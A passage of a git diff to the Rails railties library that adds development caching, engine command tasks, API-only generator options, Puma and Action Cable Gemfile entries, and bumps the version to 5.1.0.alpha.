Rails::DevCaching.enable_by_argument(options[:caching]) + end + end + def print_boot_information url = "#{options[:SSLEnable] ? 'https' : 'http'}://#{options[:Host]}:#{options[:Port]}" puts "=> Booting #{ActiveSupport::Inflector.demodulize(server)}" puts "=> Rails #{Rails.version} application starting in #{Rails.env} on #{url}" puts "=> Run `rails server -h` for more startup options" - - puts "=> Ctrl-C to shutdown server" unless options[:daemonize] end def create_tmp_directories @@ -122,11 +123,17 @@ module Rails def log_to_stdout wrapped_app # touch the app so the logger is set up - console = ActiveSupport::Logger.new($stdout) + console = ActiveSupport::Logger.new(STDOUT) console.formatter = Rails.logger.formatter console.level = Rails.logger.level - Rails.logger.extend(ActiveSupport::Logger.broadcast(console)) + unless ActiveSupport::Logger.logger_outputs_to?(Rails.logger, STDOUT) + Rails.logger.extend(ActiveSupport::Logger.broadcast(console)) + end + end + + def restart_command + "bin/rails server #{ARGV.join(' ')}" end end end diff --git a/railties/lib/rails/commands/test.rb b/railties/lib/rails/commands/test.rb index 598e224a6f..dd069f081f 100644 --- a/railties/lib/rails/commands/test.rb +++ b/railties/lib/rails/commands/test.rb @@ -1,5 +1,9 @@ -require "rails/test_unit/runner" +require "rails/test_unit/minitest_plugin" -$: << File.expand_path("../../test", APP_PATH) +if defined?(ENGINE_ROOT) + $: << File.expand_path('test', ENGINE_ROOT) +else + $: << File.expand_path('../../test', APP_PATH) +end -Rails::TestRunner.run(ARGV) +exit Minitest.run(ARGV) diff --git a/railties/lib/rails/configuration.rb b/railties/lib/rails/configuration.rb index 76364cea8f..30eafd59f2 100644 --- a/railties/lib/rails/configuration.rb +++ b/railties/lib/rails/configuration.rb @@ -33,9 +33,9 @@ module Rails # config.middleware.delete ActionDispatch::Flash # class MiddlewareStackProxy - def initialize - @operations = [] - @delete_operations = [] + def initialize(operations = [], delete_operations = []) + @operations = operations + @delete_operations = delete_operations end def insert_before(*args, &block) @@ -71,10 +71,23 @@ module Rails other end + + def +(other) # :nodoc: + MiddlewareStackProxy.new(@operations + other.operations, @delete_operations + other.delete_operations) + end + + protected + def operations + @operations + end + + def delete_operations + @delete_operations + end end class Generators #:nodoc: - attr_accessor :aliases, :options, :templates, :fallbacks, :colorize_logging + attr_accessor :aliases, :options, :templates, :fallbacks, :colorize_logging, :api_only attr_reader :hidden_namespaces def initialize @@ -83,6 +96,7 @@ module Rails @fallbacks = {} @templates = [] @colorize_logging = true + @api_only = false @hidden_namespaces = [] end diff --git a/railties/lib/rails/console/app.rb b/railties/lib/rails/console/app.rb index 2a69c26deb..9ad77e0a80 100644 --- a/railties/lib/rails/console/app.rb +++ b/railties/lib/rails/console/app.rb @@ -18,14 +18,18 @@ module Rails app = Rails.application session = ActionDispatch::Integration::Session.new(app) yield session if block_given? + + # This makes app.url_for and app.foo_path available in the console + session.extend(app.routes.url_helpers) + session.extend(app.routes.mounted_helpers) + session end # reloads the environment def reload!(print=true) puts "Reloading..." if print - ActionDispatch::Reloader.cleanup! - ActionDispatch::Reloader.prepare! + Rails.application.reloader.reload! true end end diff --git a/railties/lib/rails/console/helpers.rb b/railties/lib/rails/console/helpers.rb index b775f1ff8d..a33f71dc5b 100644 --- a/railties/lib/rails/console/helpers.rb +++ b/railties/lib/rails/console/helpers.rb @@ -4,7 +4,7 @@ module Rails # # This method assumes an +ApplicationController+ exists, and it extends +ActionController::Base+ def helper - @helper ||= ApplicationController.helpers + ApplicationController.helpers end # Gets a new instance of a controller object. diff --git a/railties/lib/rails/dev_caching.rb b/railties/lib/rails/dev_caching.rb new file mode 100644 index 0000000000..f2a53d6417 --- /dev/null +++ b/railties/lib/rails/dev_caching.rb @@ -0,0 +1,43 @@ +require 'fileutils' + +module Rails + module DevCaching # :nodoc: + class << self + FILE = 'tmp/caching-dev.txt' + + def enable_by_file + FileUtils.mkdir_p('tmp') + + if File.exist?(FILE) + delete_cache_file + puts 'Development mode is no longer being cached.' + else + create_cache_file + puts 'Development mode is now being cached.' + end + + FileUtils.touch 'tmp/restart.txt' + FileUtils.rm_f('tmp/pids/server.pid') + end + + def enable_by_argument(caching) + FileUtils.mkdir_p('tmp') + + if caching + create_cache_file + elsif caching == false && File.exist?(FILE) + delete_cache_file + end + end + + private + def create_cache_file + FileUtils.touch FILE + end + + def delete_cache_file + File.delete FILE + end + end + end +end diff --git a/railties/lib/rails/engine.rb b/railties/lib/rails/engine.rb index 83cee28fa3..9701409755 100644 --- a/railties/lib/rails/engine.rb +++ b/railties/lib/rails/engine.rb @@ -2,11 +2,12 @@ require 'rails/railtie' require 'rails/engine/railties' require 'active_support/core_ext/module/delegation' require 'pathname' +require 'thread' module Rails # <tt>Rails::Engine</tt> allows you to wrap a specific Rails application or subset of # functionality and share it with other applications or within a larger packaged application. - # Since Rails 3.0, every <tt>Rails::Application</tt> is just an engine, which allows for simple + # Every <tt>Rails::Application</tt> is just an engine, which allows for simple # feature and application sharing. # # Any <tt>Rails::Engine</tt> is also a <tt>Rails::Railtie</tt>, so the same @@ -15,10 +16,9 @@ module Rails # # == Creating an Engine # - # In Rails versions prior to 3.0, your gems automatically behaved as engines, however, - # this coupled Rails to Rubygems. Since Rails 3.0, if you want a gem to automatically - # behave as an engine, you have to specify an +Engine+ for it somewhere inside - # your plugin's +lib+ folder (similar to how we specify a +Railtie+): + # If you want a gem to behave as an engine, you have to specify an +Engine+ + # for it somewhere inside your plugin's +lib+ folder (similar to how we + # specify a +Railtie+): # # # lib/my_engine.rb # module MyEngine @@ -69,10 +69,9 @@ module Rails # # == Paths # - # Since Rails 3.0, applications and engines have more flexible path configuration (as - # opposed to the previous hardcoded path configuration). This means that you are not - # required to place your controllers at <tt>app/controllers</tt>, but in any place - # which you find convenient. + # Applications and engines have flexible path configuration, meaning that you + # are not required to place your controllers at <tt>app/controllers</tt>, but + # in any place which you find convenient. # # For example, let's suppose you want to place your controllers in <tt>lib/controllers</tt>. # You can set that as an option: @@ -206,42 +205,51 @@ module Rails # With such an engine, everything that is inside the +MyEngine+ module will be isolated from # the application. # - # Consider such controller: + # Consider this controller: # # module MyEngine # class FooController < ActionController::Base # end # end # - # If an engine is marked as isolated, +FooController+ has access only to helpers from +Engine+ and - # <tt>url_helpers</tt> from <tt>MyEngine::Engine.routes</tt>. + # If the +MyEngine+ engine is marked as isolated, +FooController+ only has + # access to helpers from +MyEngine+, and <tt>url_helpers</tt> from + # <tt>MyEngine::Engine.routes</tt>. # - # The next thing that changes in isolated engines is the behavior of routes. Normally, when you namespace - # your controllers, you also need to namespace all your routes. With an isolated engine, - # the namespace is applied by default, so you can ignore it in routes: + # The next thing that changes in isolated engines is the behavior of routes. + # Normally, when you namespace your controllers, you also need to namespace + # the related routes. With an isolated engine, the engine's namespace is + # automatically applied, so you don't need to specify it explicitly in your + # routes: # # MyEngine::Engine.routes.draw do # resources :articles # end # - # The routes above will automatically point to <tt>MyEngine::ArticlesController</tt>. Furthermore, you don't - # need to use longer url helpers like <tt>my_engine_articles_path</tt>. Instead, you should simply use - # <tt>articles_path</tt> as you would do with your application. + # If +MyEngine+ is isolated, The routes above will point to + # <tt>MyEngine::ArticlesController</tt>. You also don't need to use longer + # url helpers like +my_engine_articles_path+. Instead, you should simply use + # +articles_path+, like you would do with your main application. # - # To make that behavior consistent with other parts of the framework, an isolated engine also has influence on - # <tt>ActiveModel::Naming</tt>. When you use a namespaced model, like <tt>MyEngine::Article</tt>, it will normally - # use the prefix "my_engine". In an isolated engine, the prefix will be omitted in url helpers and - # form fields for convenience. + # To make this behavior consistent with other parts of the framework, + # isolated engines also have an effect on <tt>ActiveModel::Naming</tt>. In a + # normal Rails app, when you use a namespaced model such as + # <tt>Namespace::Article</tt>, <tt>ActiveModel::Naming</tt> will generate + # names with the prefix "namespace". In an isolated engine, the prefix will + # be omitted in url helpers and form fields, for convenience. # - # polymorphic_url(MyEngine::Article.new) # => "articles_path" + # polymorphic_url(MyEngine::Article.new) + # # => "articles_path" # not "my_engine_articles_path" # # form_for(MyEngine::Article.new) do # text_field :title # => <input type="text" name="article[title]" id="article_title" /> # end # - # Additionally, an isolated engine will set its name according to namespace, so - # MyEngine::Engine.engine_name will be "my_engine". It will also set MyEngine.table_name_prefix - # to "my_engine_", changing the MyEngine::Article model to use the my_engine_articles table. + # Additionally, an isolated engine will set its own name according to its + # namespace, so <tt>MyEngine::Engine.engine_name</tt> will return + # "my_engine". It will also set +MyEngine.table_name_prefix+ to "my_engine_", + # meaning for example that <tt>MyEngine::Article</tt> will use the + # +my_engine_articles+ database table by default. # # == Using Engine's routes outside Engine # @@ -350,12 +358,7 @@ module Rails Rails::Railtie::Configuration.eager_load_namespaces << base base.called_from = begin - call_stack = if Kernel.respond_to?(:caller_locations) - caller_locations.map { |l| l.absolute_path || l.path } - else - # Remove the line number from backtraces making sure we don't leave anything behind - caller.map { |p| p.sub(/:\d+.*/, '') } - end + call_stack = caller_locations.map { |l| l.absolute_path || l.path } File.dirname(call_stack.detect { |p| p !~ %r[railties[\w.-]*/lib/rails|rack[\w.-]*/lib/rack] }) end @@ -405,7 +408,7 @@ module Rails end end - # Finds engine with given path + # Finds engine with given path. def find(path) expanded_path = File.expand_path path Rails::Engine.subclasses.each do |klass| @@ -427,6 +430,7 @@ module Rails @env_config = nil @helpers = nil @routes = nil + @app_build_lock = Mutex.new super end @@ -497,10 +501,13 @@ module Rails # Returns the underlying rack application for this engine. def app - @app ||= begin - config.middleware = config.middleware.merge_into(default_middleware_stack) - config.middleware.build(endpoint) - end + @app || @app_build_lock.synchronize { + @app ||= begin + stack = default_middleware_stack + config.middleware = build_middleware.merge_into(stack) + config.middleware.build(endpoint) + end + } end # Returns the endpoint for this engine. If none is registered, @@ -511,18 +518,13 @@ module Rails # Define the Rack API for this engine. def call(env) - env.merge!(env_config) - if env['SCRIPT_NAME'] - env[routes.env_key] = env['SCRIPT_NAME'].dup - end - app.call(env) + req = build_request env + app.call req.env end # Defines additional Rack env configuration that is added on each call. def env_config - @env_config ||= { - 'action_dispatch.routes' => routes - } + @env_config ||= {} end # Defines the routes for this engine. If a block is given to @@ -559,7 +561,7 @@ module Rails # and the load_once paths. # # This needs to be an initializer, since it needs to run once - # per engine and get the engine as a block parameter + # per engine and get the engine as a block parameter. initializer :set_autoload_paths, before: :bootstrap_hook do ActiveSupport::Dependencies.autoload_paths.unshift(*_all_autoload_paths) ActiveSupport::Dependencies.autoload_once_paths.unshift(*_all_autoload_once_paths) @@ -582,7 +584,7 @@ module Rails # I18n load paths are a special case since the ones added # later have higher priority. initializer :add_locales do - config.i18n.railties_load_path.concat(paths["config/locales"].existent) + config.i18n.railties_load_path << paths["config/locales"] end initializer :add_view_paths do @@ -684,5 +686,19 @@ module Rails def _all_load_paths #:nodoc: @_all_load_paths ||= (config.paths.load_paths + _all_autoload_paths).uniq end + + private + + def build_request(env) + env.merge!(env_config) + req = ActionDispatch::Request.new env + req.routes = routes + req.engine_script_name = req.script_name + req + end + + def build_middleware + config.middleware + end end end diff --git a/railties/lib/rails/engine/commands.rb b/railties/lib/rails/engine/commands.rb index f39f926109..7bbd9ef744 100644 --- a/railties/lib/rails/engine/commands.rb +++ b/railties/lib/rails/engine/commands.rb @@ -1,41 +1,14 @@ +require 'rails/engine/commands_tasks' + ARGV << '--help' if ARGV.empty? aliases = { "g" => "generate", - "d" => "destroy" + "d" => "destroy", + "t" => "test" } command = ARGV.shift command = aliases[command] || command -require ENGINE_PATH -engine = ::Rails::Engine.find(ENGINE_ROOT) - -case command -when 'generate', 'destroy' - require 'rails/generators' - Rails::Generators.namespace = engine.railtie_namespace - engine.load_generators - require "rails/commands/#{command}" - -when '--version', '-v' - ARGV.unshift '--version' - require 'rails/commands/application' - -else - puts "Error: Command not recognized" unless %w(-h --help).include?(command) - puts <<-EOT -Usage: rails COMMAND [ARGS] - -The common Rails commands available for engines are: - generate Generate new code (short-cut alias: "g") - destroy Undo code generated with "generate" (short-cut alias: "d") - -All commands can be run with -h for more information. - -If you want to run any commands that need to be run in context -of the application, like `rails server` or `rails console`, -you should do it from application's directory (typically test/dummy). - EOT - exit(1) -end +Rails::Engine::CommandsTasks.new(ARGV).run_command!(command) diff --git a/railties/lib/rails/engine/commands_tasks.rb b/railties/lib/rails/engine/commands_tasks.rb new file mode 100644 index 0000000000..fa3ee59b7d --- /dev/null +++ b/railties/lib/rails/engine/commands_tasks.rb @@ -0,0 +1,116 @@ +require 'rails/commands/rake_proxy' + +module Rails + class Engine + class CommandsTasks # :nodoc: + include Rails::RakeProxy + + attr_reader :argv + + HELP_MESSAGE = <<-EOT +Usage: rails COMMAND [ARGS] + +The common Rails commands available for engines are: + generate Generate new code (short-cut alias: "g") + destroy Undo code generated with "generate" (short-cut alias: "d") + test Run tests (short-cut alias: "t") + +All commands can be run with -h for more information. + +If you want to run any commands that need to be run in context +of the application, like `rails server` or `rails console`, +you should do it from application's directory (typically test/dummy). + +In addition to those commands, there are: + EOT + + COMMAND_WHITELIST = %w(generate destroy version help test) + + def initialize(argv) + @argv = argv + end + + def run_command!(command) + command = parse_command(command) + + if COMMAND_WHITELIST.include?(command) + send(command) + else + run_rake_task(command) + end + end + + def generate + generate_or_destroy(:generate) + end + + def destroy + generate_or_destroy(:destroy) + end + + def test + require_command!("test") + end + + def version + argv.unshift '--version' + require_command!("application") + end + + def help + write_help_message + write_commands(formatted_rake_tasks) + end + + private + + def require_command!(command) + require "rails/commands/#{command}" + end + + def generate_or_destroy(command) + load_generators + require_command!(command) + end + + def load_generators + require 'rails/generators' + require ENGINE_PATH + + engine = ::Rails::Engine.find(ENGINE_ROOT) + Rails::Generators.namespace = engine.railtie_namespace + engine.load_generators + end + + def write_help_message + puts HELP_MESSAGE + end + + def write_commands(commands) + width = commands.map { |name, _| name.size }.max || 10 + commands.each { |command| printf(" %-#{width}s %s\n", *command) } + end + + def parse_command(command) + case command + when '--version', '-v' + 'version' + when '--help', '-h' + 'help' + else + command + end + end + + def rake_tasks + return @rake_tasks if defined?(@rake_tasks) + + load_generators + Rake::TaskManager.record_task_metadata = true + Rake.application.init('rails') + Rake.application.load_rakefile + @rake_tasks = Rake.application.tasks.select(&:comment) + end + end + end +end diff --git a/railties/lib/rails/engine/configuration.rb b/railties/lib/rails/engine/configuration.rb index 62a4139d07..294d07446f 100644 --- a/railties/lib/rails/engine/configuration.rb +++ b/railties/lib/rails/engine/configuration.rb @@ -4,17 +4,14 @@ module Rails class Engine class Configuration < ::Rails::Railtie::Configuration attr_reader :root - attr_writer :middleware, :eager_load_paths, :autoload_once_paths, :autoload_paths + attr_accessor :middleware + attr_writer :eager_load_paths, :autoload_once_paths, :autoload_paths def initialize(root=nil) super() @root = root @generators = app_generators.dup - end - - # Returns the middleware stack for the engine. - def middleware - @middleware ||= Rails::Configuration::MiddlewareStackProxy.new + @middleware = Rails::Configuration::MiddlewareStackProxy.new end # Holds generators configuration: @@ -29,7 +26,7 @@ module Rails # # config.generators.colorize_logging = false # - def generators #:nodoc: + def generators @generators ||= Rails::Configuration::Generators.new yield(@generators) if block_given? @generators @@ -42,6 +39,7 @@ module Rails paths.add "app", eager_load: true, glob: "{*,*/concerns}" paths.add "app/assets", glob: "*" paths.add "app/controllers", eager_load: true + paths.add "app/channels", eager_load: true, glob: "**/*_channel.rb" paths.add "app/helpers", eager_load: true paths.add "app/models", eager_load: true paths.add "app/mailers", eager_load: true diff --git a/railties/lib/rails/gem_version.rb b/railties/lib/rails/gem_version.rb index 7d74b1bfe5..9c49e0655a 100644 --- a/railties/lib/rails/gem_version.rb +++ b/railties/lib/rails/gem_version.rb @@ -6,7 +6,7 @@ module Rails module VERSION MAJOR = 5 - MINOR = 0 + MINOR = 1 TINY = 0 PRE = "alpha" diff --git a/railties/lib/rails/generators.rb b/railties/lib/rails/generators.rb index 341291f08b..330bd7ec5d 100644 --- a/railties/lib/rails/generators.rb +++ b/railties/lib/rails/generators.rb @@ -33,6 +33,7 @@ module Rails scaffold_controller: '-c', stylesheets: '-y', stylesheet_engine: '-se', + scaffold_stylesheet: '-ss', template_engine: '-e', test_framework: '-t' }, @@ -44,6 +45,7 @@ module Rails DEFAULT_OPTIONS = { rails: { + api: false, assets: true, force_plural: false, helper: true, @@ -56,12 +58,14 @@ module Rails scaffold_controller: :scaffold_controller, stylesheets: true, stylesheet_engine: :css, + scaffold_stylesheet: true, test_framework: false, template_engine: :erb } } def self.configure!(config) #:nodoc: + api_only! if config.api_only no_color! unless config.colorize_logging aliases.deep_merge! config.aliases options.deep_merge! config.options @@ -99,6 +103,25 @@ module Rails @fallbacks ||= {} end + # Configure generators for API only applications. It basically hides + # everything that is usually browser related, such as assets and session + # migration generators, and completely disable helpers and assets + # so generators such as scaffold won't create them. + def self.api_only! + hide_namespaces "assets", "helper", "css", "js" + + options[:rails].merge!( + api: true, + assets: false, + helper: false, + template_engine: nil + ) + + if ARGV.first == 'mailer' + options[:rails].merge!(template_engine: :erb) + end + end + # Remove the color from output. def self.no_color! Thor::Base.shell = Thor::Shell::Basic @@ -159,7 +182,7 @@ module Rails options = sorted_groups.flat_map(&:last) suggestions = options.sort_by {|suggested| levenshtein_distance(namespace.to_s, suggested) }.first(3) msg = "Could not find generator '#{namespace}'. " - msg << "Maybe you meant #{ suggestions.map {|s| "'#{s}'"}.to_sentence(last_word_connector: " or ") }\n" + msg << "Maybe you meant #{ suggestions.map {|s| "'#{s}'"}.to_sentence(last_word_connector: " or ", locale: :en) }\n" msg << "Run `rails generate --help` for more options." puts msg end @@ -189,6 +212,7 @@ module Rails "#{test}:model", "#{test}:scaffold", "#{test}:view", + "#{test}:job", "#{template}:controller", "#{template}:scaffold", "#{template}:mailer", @@ -267,10 +291,13 @@ module Rails d = (0..m).to_a x = nil - str1.each_char.each_with_index do |char1,i| + # avoid duplicating an enumerable object in the loop + str2_codepoint_enumerable = str2.each_codepoint + + str1.each_codepoint.with_index do |char1, i| e = i+1 - str2.each_char.each_with_index do |char2,j| + str2_codepoint_enumerable.with_index do |char2, j| cost = (char1 == char2) ? 0 : 1 x = [ d[j+1] + 1, # insertion diff --git a/railties/lib/rails/generators/actions.rb b/railties/lib/rails/generators/actions.rb index 70a20801a0..c947c062fa 100644 --- a/railties/lib/rails/generators/actions.rb +++ b/railties/lib/rails/generators/actions.rb @@ -1,5 +1,3 @@ -require 'open-uri' - module Rails module Generators module Actions @@ -20,7 +18,7 @@ module Rails # Set the message to be shown in logs. Uses the git repo if one is given, # otherwise use name (version). - parts, message = [ quote(name) ], name + parts, message = [ quote(name) ], name.dup if version ||= options.delete(:version) parts << quote(version) message << " (#{version})" @@ -63,12 +61,26 @@ module Rails # Add the given source to +Gemfile+ # + # If block is given, gem entries in block are wrapped into the source group. + # # add_source "http://gems.github.com/" - def add_source(source, options={}) + # + # add_source "http://gems.github.com/" do + # gem "rspec-rails" + # end + def add_source(source, options={}, &block) log :source, source in_root do - prepend_file "Gemfile", "source #{quote(source)}\n", verbose: false + if block + append_file "Gemfile", "\nsource #{quote(source)} do", force: true + @in_group = true + instance_eval(&block) + @in_group = false + append_file "Gemfile", "\nend\n", force: true + else + prepend_file "Gemfile", "source #{quote(source)}\n", verbose: false + end end end @@ -78,11 +90,11 @@ module Rails # file in <tt>config/environments</tt>. # # environment do - # "config.autoload_paths += %W(#{config.root}/extras)" + # "config.action_controller.asset_host = 'cdn.provider.com'" # end # # environment(nil, env: "development") do - # "config.autoload_paths += %W(#{config.root}/extras)" + # "config.action_controller.asset_host = 'localhost:3000'" # end def environment(data=nil, options={}) sentinel = /class [a-z_:]+ < Rails::Application/i @@ -193,16 +205,22 @@ module Rails in_root { run_ruby_script("bin/rails generate #{what} #{argument}", verbose: false) } end - # Runs the supplied rake task + # Runs the supplied rake task (invoked with 'rake ...') # # rake("db:migrate") # rake("db:migrate", env: "production") # rake("gems:install", sudo: true) def rake(command, options={}) - log :rake, command - env = options[:env] || ENV["RAILS_ENV"] || 'development' - sudo = options[:sudo] && RbConfig::CONFIG['host_os'] !~ /mswin|mingw/ ? 'sudo ' : '' - in_root { run("#{sudo}#{extify(:rake)} #{command} RAILS_ENV=#{env}", verbose: false) } + execute_command :rake, command, options + end + + # Runs the supplied rake task (invoked with 'rails ...') + # + # rails("db:migrate") + # rails("db:migrate", env: "production") + # rails("gems:install", sudo: true) + def rails_command(command, options={}) + execute_command :rails, command, options end # Just run the capify command in root @@ -221,7 +239,7 @@ module Rails sentinel = /\.routes\.draw do\s*\n/m in_root do - inject_into_file 'config/routes.rb', " #{routing_code}\n", { after: sentinel, verbose: false, force: true } + inject_into_file 'config/routes.rb', " #{routing_code}\n", { after: sentinel, verbose: false, force: false } end end @@ -256,6 +274,16 @@ module Rails end end + + # Runs the supplied command using either "rake ..." or "rails ..." + # based on the executor parameter provided. + def execute_command(executor, command, options={}) + log executor, command + env = options[:env] || ENV["RAILS_ENV"] || 'development' + sudo = options[:sudo] && RbConfig::CONFIG['host_os'] !~ /mswin|mingw/ ? 'sudo ' : '' + in_root { run("#{sudo}#{extify(executor)} #{command} RAILS_ENV=#{env}", verbose: false) } + end + # Add an extension to the given name based on the platform. def extify(name) if RbConfig::CONFIG['host_os'] =~ /mswin|mingw/ diff --git a/railties/lib/rails/generators/actions/create_migration.rb b/railties/lib/rails/generators/actions/create_migration.rb index cffdef6ec9..6c5b55466d 100644 --- a/railties/lib/rails/generators/actions/create_migration.rb +++ b/railties/lib/rails/generators/actions/create_migration.rb @@ -1,9 +1,10 @@ +require 'fileutils' require 'thor/actions' module Rails module Generators module Actions - class CreateMigration < Thor::Actions::CreateFile + class CreateMigration < Thor::Actions::CreateFile #:nodoc: def migration_dir File.dirname(@destination) diff --git a/railties/lib/rails/generators/app_base.rb b/railties/lib/rails/generators/app_base.rb index 813f8b21fd..7aee28c74a 100644 --- a/railties/lib/rails/generators/app_base.rb +++ b/railties/lib/rails/generators/app_base.rb @@ -1,3 +1,4 @@ +require 'fileutils' require 'digest/md5' require 'active_support/core_ext/string/strip' require 'rails/version' unless defined?(Rails::VERSION) @@ -26,6 +27,12 @@ module Rails class_option :template, type: :string, aliases: '-m', desc: "Path to some #{name} template (can be a filesystem path or URL)" + class_option :database, type: :string, aliases: '-d', default: 'sqlite3', + desc: "Preconfigure for selected database (options: #{DATABASES.join('/')})" + + class_option :javascript, type: :string, aliases: '-j', default: 'jquery', + desc: 'Preconfigure for selected JavaScript library' + class_option :skip_gemfile, type: :boolean, default: false, desc: "Don't create a Gemfile" @@ -45,34 +52,37 @@ module Rails class_option :skip_active_record, type: :boolean, aliases: '-O', default: false, desc: 'Skip Active Record files' + class_option :skip_puma, type: :boolean, aliases: '-P', default: false, + desc: 'Skip Puma related files' + + class_option :skip_action_cable, type: :boolean, aliases: '-C', default: false, + desc: 'Skip Action Cable files' + class_option :skip_sprockets, type: :boolean, aliases: '-S', default: false, desc: 'Skip Sprockets files' class_option :skip_spring, type: :boolean, default: false, desc: "Don't install Spring application preloader" - class_option :database, type: :string, aliases: '-d', default: 'sqlite3', - desc: "Preconfigure for selected database (options: #{DATABASES.join('/')})" - - class_option :javascript, type: :string, aliases: '-j', default: 'jquery', - desc: 'Preconfigure for selected JavaScript library' + class_option :skip_listen, type: :boolean, default: false, + desc: "Don't generate configuration that depends on the listen gem" class_option :skip_javascript, type: :boolean, aliases: '-J', default: false, desc: 'Skip JavaScript files' - class_option :dev, type: :boolean, default: false, - desc: "Setup the #{name} with Gemfile pointing to your Rails checkout" - - class_option :edge, type: :boolean, default: false, - desc: "Setup the #{name} with Gemfile pointing to Rails repository" - class_option :skip_turbolinks, type: :boolean, default: false, desc: 'Skip turbolinks gem' class_option :skip_test, type: :boolean, aliases: '-T', default: false, desc: 'Skip test files' - class_option :rc, type: :string, default: false, + class_option :dev, type: :boolean, default: false, + desc: "Setup the #{name} with Gemfile pointing to your Rails checkout" + + class_option :edge, type: :boolean, default: false, + desc: "Setup the #{name} with Gemfile pointing to Rails repository" + + class_option :rc, type: :string, default: nil, desc: "Path to file containing extra configuration options for rails command" class_option :no_rc, type: :boolean, default: false, @@ -110,10 +120,12 @@ module Rails def gemfile_entries [rails_gemfile_entry, database_gemfile_entry, + webserver_gemfile_entry, assets_gemfile_entry, javascript_gemfile_entry, jbuilder_gemfile_entry, psych_gemfile_entry, + cable_gemfile_entry, @extra_entries].flatten.find_all(&@gem_filter) end @@ -162,18 +174,29 @@ module Rails def database_gemfile_entry return [] if options[:skip_active_record] - GemfileEntry.version gem_for_database, nil, + gem_name, gem_version = gem_for_database + GemfileEntry.version gem_name, gem_version, "Use #{options[:database]} as the database for Active Record" end + def webserver_gemfile_entry + return [] if options[:skip_puma] + comment = 'Use Puma as the app server' + GemfileEntry.new('puma', '~> 3.0', comment) + end + def include_all_railties? - options.values_at(:skip_active_record, :skip_action_mailer, :skip_test, :skip_sprockets).none? + options.values_at(:skip_active_record, :skip_action_mailer, :skip_test, :skip_sprockets, :skip_action_cable).none? end def comment_if(value) options[value] ? '# ' : '' end + def keeps? + !options[:skip_keeps] + end + def sqlite3? !options[:skip_active_record] && options[:database] == 'sqlite3' end @@ -198,39 +221,63 @@ module Rails def self.path(name, path, comment = nil) new(name, nil, comment, path: path) end + + def version + version = super + + if version.is_a?(Array) + version.join("', '") + else + version + end + end end def rails_gemfile_entry + dev_edge_common = [ + ] if options.dev? [ - GemfileEntry.path('rails', Rails::Generators::RAILS_DEV_PATH), - GemfileEntry.github('arel', 'rails/arel') - ] + GemfileEntry.path('rails', Rails::Generators::RAILS_DEV_PATH) + ] + dev_edge_common elsif options.edge? [ - GemfileEntry.github('rails', 'rails/rails'), - GemfileEntry.github('arel', 'rails/arel') - ] + GemfileEntry.github('rails', 'rails/rails') + ] + dev_edge_common else [GemfileEntry.version('rails', - Rails::VERSION::STRING, + rails_version_specifier, "Bundle edge Rails instead: gem 'rails', github: 'rails/rails'")] end end + def rails_version_specifier(gem_version = Rails.gem_version) + if gem_version.prerelease? + next_series = gem_version + next_series = next_series.bump while next_series.segments.size > 2 + + [">= #{gem_version}", "< #{next_series}"] + elsif gem_version.segments.size == 3 + "~> #{gem_version}" + else + patch = gem_version.segments[0, 3].join(".") + ["~> #{patch}", ">= #{gem_version}"] + end + end + def gem_for_database # %w( mysql oracle postgresql sqlite3 frontbase ibm_db sqlserver jdbcmysql jdbcsqlite3 jdbcpostgresql ) case options[:database] - when "oracle" then "ruby-oci8" - when "postgresql" then "pg" - when "frontbase" then "ruby-frontbase" - when "mysql" then "mysql2" - when "sqlserver" then "activerecord-sqlserver-adapter" - when "jdbcmysql" then "activerecord-jdbcmysql-adapter" - when "jdbcsqlite3" then "activerecord-jdbcsqlite3-adapter" - when "jdbcpostgresql" then "activerecord-jdbcpostgresql-adapter" - when "jdbc" then "activerecord-jdbc-adapter" - else options[:database] + when "oracle" then ["ruby-oci8", nil] + when "postgresql" then ["pg", ["~> 0.18"]] + when "frontbase" then ["ruby-frontbase", nil] + when "mysql" then ["mysql2", [">= 0.3.18", "< 0.5"]] + when "sqlserver" then ["activerecord-sqlserver-adapter", nil] + when "jdbcmysql" then ["activerecord-jdbcmysql-adapter", nil] + when "jdbcsqlite3" then ["activerecord-jdbcsqlite3-adapter", nil] + when "jdbcpostgresql" then ["activerecord-jdbcpostgresql-adapter", nil] + when "jdbc" then ["activerecord-jdbc-adapter", nil] + else [options[:database], nil] end end @@ -249,7 +296,7 @@ module Rails return [] if options[:skip_sprockets] gems = [] - gems << GemfileEntry.version('sass-rails', '~> 5.0', + gems << GemfileEntry.github('sass-rails', 'rails/sass-rails', nil, 'Use SCSS for stylesheets') gems << GemfileEntry.version('uglifier', @@ -261,20 +308,15 @@ module Rails def jbuilder_gemfile_entry comment = 'Build JSON APIs with ease. Read more: https://github.com/rails/jbuilder' - GemfileEntry.version('jbuilder', '~> 2.0', comment) + GemfileEntry.new 'jbuilder', '~> 2.0', comment, {}, options[:api] end def coffee_gemfile_entry - comment = 'Use CoffeeScript for .coffee assets and views' - if options.dev? || options.edge? - GemfileEntry.github 'coffee-rails', 'rails/coffee-rails', nil, comment - else - GemfileEntry.version 'coffee-rails', '~> 4.1.0', comment - end + GemfileEntry.github 'coffee-rails', 'rails/coffee-rails', nil, 'Use CoffeeScript for .coffee assets and views' end def javascript_gemfile_entry - if options[:skip_javascript] + if options[:skip_javascript] || options[:skip_sprockets] [] else gems = [coffee_gemfile_entry, javascript_runtime_gemfile_entry] @@ -282,8 +324,8 @@ module Rails "Use #{options[:javascript]} as the JavaScript library") unless options[:skip_turbolinks] - gems << GemfileEntry.version("turbolinks", nil, - "Turbolinks makes following links in your web application faster. Read more: https://github.com/rails/turbolinks") + gems << GemfileEntry.version("turbolinks", "~> 5.x", + "Turbolinks makes navigating your web application faster. Read more: https://github.com/turbolinks/turbolinks") end gems @@ -307,6 +349,14 @@ module Rails GemfileEntry.new('psych', '~> 2.0', comment, platforms: :rbx) end + def cable_gemfile_entry + return [] if options[:skip_action_cable] + comment = 'Use Redis adapter to run Action Cable in production' + gems = [] + gems << GemfileEntry.new("redis", '~> 3.0', comment, {}, true) + gems + end + def bundle_command(command) say_status :run, "bundle #{command}" @@ -315,10 +365,6 @@ module Rails # its own vendored Thor, which could be a different version. Running both # things in the same process is a recipe for a night with paracetamol. # - # We use backticks and #print here instead of vanilla #system because it - # is easier to silence stdout in the existing test suite this way. The - # end-user gets the bundler commands called anyway, so no big deal. - # # We unset temporary bundler variables to load proper bundler and Gemfile. # # Thanks to James Tucker for the Gem tricks involved in this call. @@ -326,8 +372,12 @@ module Rails require 'bundler' Bundler.with_clean_env do - output = `"#{Gem.ruby}" "#{_bundle_command}" #{command}` - print output unless options[:quiet] + full_command = %Q["#{Gem.ruby}" "#{_bundle_command}" #{command}] + if options[:quiet] + system(full_command, out: File::NULL) + else + system(full_command) + end end end 